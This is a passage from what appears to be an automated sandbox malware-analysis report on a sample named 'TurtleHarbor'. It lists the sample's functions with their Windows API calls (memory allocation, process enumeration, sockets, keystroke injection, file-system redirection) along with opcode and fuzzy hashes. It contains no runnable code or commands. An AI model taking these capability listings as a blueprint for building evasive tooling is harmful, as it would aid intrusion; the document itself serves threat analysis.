                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: AddressLibraryLoadProc
                                            • String ID: GetModuleHandleExW$kernel32.dll
                                            • API String ID: 2574300362-199464113
                                            • Opcode ID: 8a1ec32e7bcc06f9afce3214cdc38c1e4614352e5176b6dec2c5072ab40ede65
                                            • Instruction ID: 6bf05f57fbeb02d419090bf28664ba7edb696f289b03754140fa13cce8e68ac1
                                            • Opcode Fuzzy Hash: 8a1ec32e7bcc06f9afce3214cdc38c1e4614352e5176b6dec2c5072ab40ede65
                                            • Instruction Fuzzy Hash: D6D017745207138FD726AF31D889796B6E8AF06392F16C86EE4D6E2160EB70D880CB11
                                            Function 00324B77 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON
                                            Download Yara Rule
                                            APIs
                                            • LoadLibraryA.KERNEL32(kernel32.dll,?,00324B44,?,003249D4,?,?,003227AF,?,00000001), ref: 00324B85
                                            • GetProcAddress.KERNEL32(00000000,Wow64DisableWow64FsRedirection), ref: 00324B97
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: AddressLibraryLoadProc
                                            • String ID: Wow64DisableWow64FsRedirection$kernel32.dll
                                            • API String ID: 2574300362-3689287502
                                            • Opcode ID: c86e6e2f031e9de06f5b7ce574dcdba8b7b6627c7a879b68dc374ec2319f1a61
                                            • Instruction ID: bec7e576ee5d5906035bffc3adbba41ef5872275ec9e274d7259102c858c098a
                                            • Opcode Fuzzy Hash: c86e6e2f031e9de06f5b7ce574dcdba8b7b6627c7a879b68dc374ec2319f1a61
                                            • Instruction Fuzzy Hash: 55D017745107228FD7269F31EC58B867AE8AF0A391F12882ED8C6E2560E770E880CB10
                                            Function 00324BAA Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON
                                            Download Yara Rule
                                            APIs
                                            • LoadLibraryA.KERNEL32(kernel32.dll,?,00324AF7,?), ref: 00324BB8
                                            • GetProcAddress.KERNEL32(00000000,Wow64RevertWow64FsRedirection), ref: 00324BCA
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: AddressLibraryLoadProc
                                            • String ID: Wow64RevertWow64FsRedirection$kernel32.dll
                                            • API String ID: 2574300362-1355242751
                                            • Opcode ID: 37f48dc4edbc542a6573eb5577c089c5353e3cbc98df939154fb268d5c6a7f62
                                            • Instruction ID: 67904ce20989edff914ff0f1c0bc5dceacf6753138c29e53b0c40b5109874cf3
                                            • Opcode Fuzzy Hash: 37f48dc4edbc542a6573eb5577c089c5353e3cbc98df939154fb268d5c6a7f62
                                            • Instruction Fuzzy Hash: 7ED01774510722CFD7269F31EC48B8776E9AF06391F129C6ED8C6D2564EBB0D880CA10
                                            Function 00367D9B Relevance: 6.3, APIs: 4, Instructions: 333COMMON
                                            Download Yara Rule
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID:
                                            • String ID:
                                            • API String ID:
                                            • Opcode ID: ed596abbc8dd4898dfa27382a92f74c8f7ad1bfcc4d08c42071b90afe89c7a7a
                                            • Instruction ID: e08eff95f4a29995bf68a36592b480a81f38c6dc9c0e6aa6a306cdaef778cec8
                                            • Opcode Fuzzy Hash: ed596abbc8dd4898dfa27382a92f74c8f7ad1bfcc4d08c42071b90afe89c7a7a
                                            • Instruction Fuzzy Hash: AFC18F74A04216EFCB15CF98C884EAEF7B9FF48714B618598E805EB255DB31ED81CB90
                                            Function 0038E713 Relevance: 6.3, APIs: 4, Instructions: 307memoryCOMMON
                                            Download Yara Rule
                                            APIs
                                            • CharLowerBuffW.USER32(?,?), ref: 0038E7A7
                                            • CharLowerBuffW.USER32(?,?), ref: 0038E7EA
                                              • Part of subcall function 0038DE8E: CharLowerBuffW.USER32(?,?,?,?,00000000,?,?), ref: 0038DEAE
                                            • VirtualAlloc.KERNEL32(00000000,00000077,00003000,00000040), ref: 0038E9EA
                                            • _memmove.LIBCMT ref: 0038E9FD
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: BuffCharLower$AllocVirtual_memmove
                                            • String ID:
                                            • API String ID: 3659485706-0
                                            • Opcode ID: d08227754a3735b44d1cddf7219d36a9dc28d06152c7a23c77db626923c2e5c5
                                            • Instruction ID: 94bf2bce84c79b04de1d2845f8233e45c4966bbe0fb8d43edb4137a2f2a4abd7
                                            • Opcode Fuzzy Hash: d08227754a3735b44d1cddf7219d36a9dc28d06152c7a23c77db626923c2e5c5
                                            • Instruction Fuzzy Hash: B3C18B756083119FC716EF28C48096ABBE4FF89714F0489AEF8999B351D731E945CF82
                                            Function 0038877D Relevance: 6.3, APIs: 4, Instructions: 267COMMON
                                            Download Yara Rule
                                            APIs
                                            • CoInitialize.OLE32(00000000), ref: 003887AD
                                            • CoUninitialize.OLE32 ref: 003887B8
                                              • Part of subcall function 0039DF09: CoCreateInstance.OLE32(00000018,00000000,00000005,00000028,?,?,?,?,?,00000000,00000000,00000000,?,00388A0E,?,00000000), ref: 0039DF71
                                            • VariantInit.OLEAUT32(?), ref: 003887C3
                                            • VariantClear.OLEAUT32(?), ref: 00388A94
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: Variant$ClearCreateInitInitializeInstanceUninitialize
                                            • String ID:
                                            • API String ID: 780911581-0
                                            • Opcode ID: 78e9ecf40f3cee981f44aa0b2a5b45c8fb6b527557d359b1badf07f3b6cf5d02
                                            • Instruction ID: 0905e22175a64bde47ca514c4b3e94e49ba7a3a3385e5a6aa4940c96d06cfe2d
                                            • Opcode Fuzzy Hash: 78e9ecf40f3cee981f44aa0b2a5b45c8fb6b527557d359b1badf07f3b6cf5d02
                                            • Instruction Fuzzy Hash: 73A15A75204B019FDB16EF54C481B6AB7E4BF8C310F558889F9969B3A2DB34ED40CB92
                                            Function 0036814E Relevance: 6.2, APIs: 4, Instructions: 231COMMON
                                            Download Yara Rule
                                            APIs
                                            • ProgIDFromCLSID.OLE32(?,00000000,?,00000000,00000800,00000000,?,003A3C4C,?), ref: 00368308
                                            • CoTaskMemFree.OLE32(00000000,00000000,?,00000000,00000800,00000000,?,003A3C4C,?), ref: 00368320
                                            • CLSIDFromProgID.OLE32(?,?,00000000,003A0988,000000FF,?,00000000,00000800,00000000,?,003A3C4C,?), ref: 00368345
                                            • _memcmp.LIBCMT ref: 00368366
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: FromProg$FreeTask_memcmp
                                            • String ID:
                                            • API String ID: 314563124-0
                                            • Opcode ID: 1ee8b346fe3952a120fd6744fae846c4c720abaf062ef67d3d20fbbb8a0906e5
                                            • Instruction ID: d669c7caeb9b5e3a65bc027619b55e7c9210d3ae1817723c4bfc553a600966e9
                                            • Opcode Fuzzy Hash: 1ee8b346fe3952a120fd6744fae846c4c720abaf062ef67d3d20fbbb8a0906e5
                                            • Instruction Fuzzy Hash: 59813975A00109EFCB05DFD4C988EEEB7B9FF89315F208558E506AB254DB71AE06CB60
                                            Function 0036749B Relevance: 6.2, APIs: 4, Instructions: 202memoryCOMMON
                                            Download Yara Rule
                                            APIs
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: Variant$AllocClearCopyInitString
                                            • String ID:
                                            • API String ID: 2808897238-0
                                            • Opcode ID: f859e5aecae5195334fe2fa87b440dd64291b4c884fa5e20b51df99af6f8c485
                                            • Instruction ID: 0ad189587ee25136921ae74d32b2b69c49e92abb2be5c8742f461ce33bcaae98
                                            • Opcode Fuzzy Hash: f859e5aecae5195334fe2fa87b440dd64291b4c884fa5e20b51df99af6f8c485
                                            • Instruction Fuzzy Hash: 8F51EB30608701DBDB269F79D895A6DF3E9AF49318F70C81FE546CB6A5EB309880CB15
                                            Function 0038F4F6 Relevance: 6.2, APIs: 4, Instructions: 164processCOMMON
                                            Download Yara Rule
                                            APIs
                                            • CreateToolhelp32Snapshot.KERNEL32 ref: 0038F526
                                            • Process32FirstW.KERNEL32(00000000,?), ref: 0038F534
                                              • Part of subcall function 00321A36: _memmove.LIBCMT ref: 00321A77
                                            • Process32NextW.KERNEL32(00000000,?), ref: 0038F5F4
                                            • CloseHandle.KERNEL32(00000000,?,?,?), ref: 0038F603
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32_memmove
                                            • String ID:
                                            • API String ID: 2576544623-0
                                            • Opcode ID: b946783524aabd8ef77a87b5b9d71b35b05c157c16dc20260a3b5c80921b31c5
                                            • Instruction ID: b4f464e82050fed69c108733576fbba31cf43d96b7db3ee1125b2767042f4d05
                                            • Opcode Fuzzy Hash: b946783524aabd8ef77a87b5b9d71b35b05c157c16dc20260a3b5c80921b31c5
                                            • Instruction Fuzzy Hash: 1A517FB15043119FD316EF24EC85EABB7E8EF99700F00492DF595DB291EB70A944CB92
                                            Function 00399E19 Relevance: 6.1, APIs: 4, Instructions: 140COMMON
                                            Download Yara Rule
                                            APIs
                                            • GetWindowRect.USER32(?,?), ref: 00399E88
                                            • ScreenToClient.USER32(00000002,00000002), ref: 00399EBB
                                            • MoveWindow.USER32(?,?,?,?,000000FF,00000001,?,?,00000002,?,?), ref: 00399F28
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: Window$ClientMoveRectScreen
                                            • String ID:
                                            • API String ID: 3880355969-0
                                            • Opcode ID: 0a3c7685d2c76c6d531d56e81ef3ad1ec7f7037a048ccc7ed9fd46f845609938
                                            • Instruction ID: 9e54ac3a64acc6c09043fc91782c2495c08b5dd5da7b994e554bae451079381e
                                            • Opcode Fuzzy Hash: 0a3c7685d2c76c6d531d56e81ef3ad1ec7f7037a048ccc7ed9fd46f845609938
                                            • Instruction Fuzzy Hash: 48515F34A00208AFDF16DF58D884AAE7BBAFF45321F11815EF816DB2A0D730AD51CB90
                                            Function 0033492A Relevance: 6.1, APIs: 4, Instructions: 136COMMON
                                            Download Yara Rule
                                            APIs
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: __flsbuf__flush__getptd_noexit__write_memmove
                                            • String ID:
                                            • API String ID: 2782032738-0
                                            • Opcode ID: dd4382ed4e5ad70bfa2530ff4ead5fce313e8920abae62896f0e4f3ecbc340c1
                                            • Instruction ID: 3de03f469ec78d1acca1cffcbce05d38ca4552c77130225d8ea1d3a8b1741f2c
                                            • Opcode Fuzzy Hash: dd4382ed4e5ad70bfa2530ff4ead5fce313e8920abae62896f0e4f3ecbc340c1
                                            • Instruction Fuzzy Hash: 6D41943160070AABDF2ACFA9C8D0A6F7BA9AF45360F25816DE8558B650D774FD408B44
                                            Function 0036A638 Relevance: 6.1, APIs: 4, Instructions: 129windowCOMMON
                                            Download Yara Rule
                                            APIs
                                            • SendMessageW.USER32(?,0000110A,00000004,00000000), ref: 0036A68A
                                            • __itow.LIBCMT ref: 0036A6BB
                                              • Part of subcall function 0036A90B: SendMessageW.USER32(?,0000113E,00000000,00000000), ref: 0036A976
                                            • SendMessageW.USER32(?,0000110A,00000001,?), ref: 0036A724
                                            • __itow.LIBCMT ref: 0036A77B
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: MessageSend$__itow
                                            • String ID:
                                            • API String ID: 3379773720-0
                                            • Opcode ID: c52bc93a79faed612b419cbcd2d7b59c17d09447fd3495176e344357e048c317
                                            • Instruction ID: 6c514dabc110c9cb0820f7ecbc4ed31f306fd01319cce931a93c72616a6fa367
                                            • Opcode Fuzzy Hash: c52bc93a79faed612b419cbcd2d7b59c17d09447fd3495176e344357e048c317
                                            • Instruction Fuzzy Hash: E741B074A00618AFDF22EF54D886BEE7BB9EF54750F044029F905A7291DB709E44CBA2
                                            Function 00387095 Relevance: 6.1, APIs: 4, Instructions: 127networkCOMMON
                                            Download Yara Rule
                                            APIs
                                            • socket.WSOCK32(00000002,00000002,00000011), ref: 003870BC
                                            • WSAGetLastError.WSOCK32(00000000), ref: 003870CC
                                              • Part of subcall function 00314D37: __itow.LIBCMT ref: 00314D62
                                              • Part of subcall function 00314D37: __swprintf.LIBCMT ref: 00314DAC
                                            • #21.WSOCK32(?,0000FFFF,00000020,00000002,00000004), ref: 00387130
                                            • WSAGetLastError.WSOCK32(00000000), ref: 0038713C
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: ErrorLast$__itow__swprintfsocket
                                            • String ID:
                                            • API String ID: 2214342067-0
                                            • Opcode ID: e9be7ce652b05002bc2abd90ff4d964fb40058feba80129424d0599dc4692fb6
                                            • Instruction ID: e960dfb5b187391ef05c037eeacb935773422f5a4982b9f4d2bae4be01359434
                                            • Opcode Fuzzy Hash: e9be7ce652b05002bc2abd90ff4d964fb40058feba80129424d0599dc4692fb6
                                            • Instruction Fuzzy Hash: 3641B6717403006FEB1ABF24DC86F6A77E99B09B14F148458FA159F3C2D6749C418B91
                                            Function 00386B05 Relevance: 6.1, APIs: 4, Instructions: 116COMMON
                                            Download Yara Rule
                                            APIs
                                            • #16.WSOCK32(?,?,00000000,00000000,00000000,00000000,?,?,00000000,003A0980), ref: 00386B92
                                            • _strlen.LIBCMT ref: 00386BC4
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: _strlen
                                            • String ID:
                                            • API String ID: 4218353326-0
                                            • Opcode ID: 47a2cb586b91a67b9c89c3ad3e9a2e62698dd219bd2c6c81cab1c61af65accbb
                                            • Instruction ID: 0845415c84108380f5c3f5661007d8f6bbec73908d3f00e75f8586ada5d8de2d
                                            • Opcode Fuzzy Hash: 47a2cb586b91a67b9c89c3ad3e9a2e62698dd219bd2c6c81cab1c61af65accbb
                                            • Instruction Fuzzy Hash: 2541C671600214ABC71AFBA4DDD6EAEB7BDEF58310F148195F81A9F292DB30AD41C790
                                            Function 0037BE37 Relevance: 6.1, APIs: 4, Instructions: 111fileCOMMON
                                            Download Yara Rule
                                            APIs
                                            • CreateHardLinkW.KERNEL32(00000002,?,00000000), ref: 0037BEE1
                                            • GetLastError.KERNEL32(?,00000000), ref: 0037BF07
                                            • DeleteFileW.KERNEL32(00000002,?,00000000), ref: 0037BF2C
                                            • CreateHardLinkW.KERNEL32(00000002,?,00000000,?,00000000), ref: 0037BF58
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: CreateHardLink$DeleteErrorFileLast
                                            • String ID:
                                            • API String ID: 3321077145-0
                                            • Opcode ID: 1c3f8f946e96eb17d25f500fa60022e3203629c37bfe5dc5693bc5bedd425728
                                            • Instruction ID: a8db948abab9fe2315fb067353e084f31b78fe185d303503c25b0cc79c56e7aa
                                            • Opcode Fuzzy Hash: 1c3f8f946e96eb17d25f500fa60022e3203629c37bfe5dc5693bc5bedd425728
                                            • Instruction Fuzzy Hash: 7F410835600A10DFCB26EF15D485A99BBF5EF89710B19C488E8499F762CB34FD42CB91
                                            Function 00398E76 Relevance: 6.1, APIs: 4, Instructions: 109COMMON
                                            Download Yara Rule
                                            APIs
                                            • InvalidateRect.USER32(?,00000000,00000001,?,?,?), ref: 00398F03
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: InvalidateRect
                                            • String ID:
                                            • API String ID: 634782764-0
                                            • Opcode ID: ef95d5abb8b2346dd1cc960c6ad4d425d40f5ec4980e95c8d01ff398e197904c
                                            • Instruction ID: 0d2f6965c00fe6a8084fecf869a5aa6a7345a6e2d22a832e0e5081eda4bcca32
                                            • Opcode Fuzzy Hash: ef95d5abb8b2346dd1cc960c6ad4d425d40f5ec4980e95c8d01ff398e197904c
                                            • Instruction Fuzzy Hash: D931F231605108AEEF279B18EC49FAC37AAEB87320F145502FA42D61E0DF71E950CA51
                                            Function 0039B1A9 Relevance: 6.1, APIs: 4, Instructions: 106windowCOMMON
                                            Download Yara Rule
                                            APIs
                                            • ClientToScreen.USER32(?,?), ref: 0039B1D2
                                            • GetWindowRect.USER32(?,?), ref: 0039B248
                                            • PtInRect.USER32(?,?,0039C6BC), ref: 0039B258
                                            • MessageBeep.USER32(00000000), ref: 0039B2C9
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: Rect$BeepClientMessageScreenWindow
                                            • String ID:
                                            • API String ID: 1352109105-0
                                            • Opcode ID: e91c4ccfd5daabb28a8ee19235ec4984aefcfc83e93af11ec355e7f2e7e4e470
                                            • Instruction ID: 6aef00bee2a75758c93d927157fd94ac8a9d0aa159793a99be275e219fe7b2f9
                                            • Opcode Fuzzy Hash: e91c4ccfd5daabb28a8ee19235ec4984aefcfc83e93af11ec355e7f2e7e4e470
                                            • Instruction Fuzzy Hash: 3641A030A04115DFDF13CF98EA85AADBBF9FF49350F1588A9E8989B260D330A941CF50
                                            Function 003712D5 Relevance: 6.1, APIs: 4, Instructions: 105keyboardwindowCOMMON
                                            Download Yara Rule
                                            APIs
                                            • GetKeyboardState.USER32(?,00000000,?,00000001), ref: 00371326
                                            • SetKeyboardState.USER32(00000080,?,00000001), ref: 00371342
                                            • PostMessageW.USER32(00000000,00000102,00000001,00000001), ref: 003713A8
                                            • SendInput.USER32(00000001,00000000,0000001C,00000000,?,00000001), ref: 003713FA
                                            Memory Dump Source
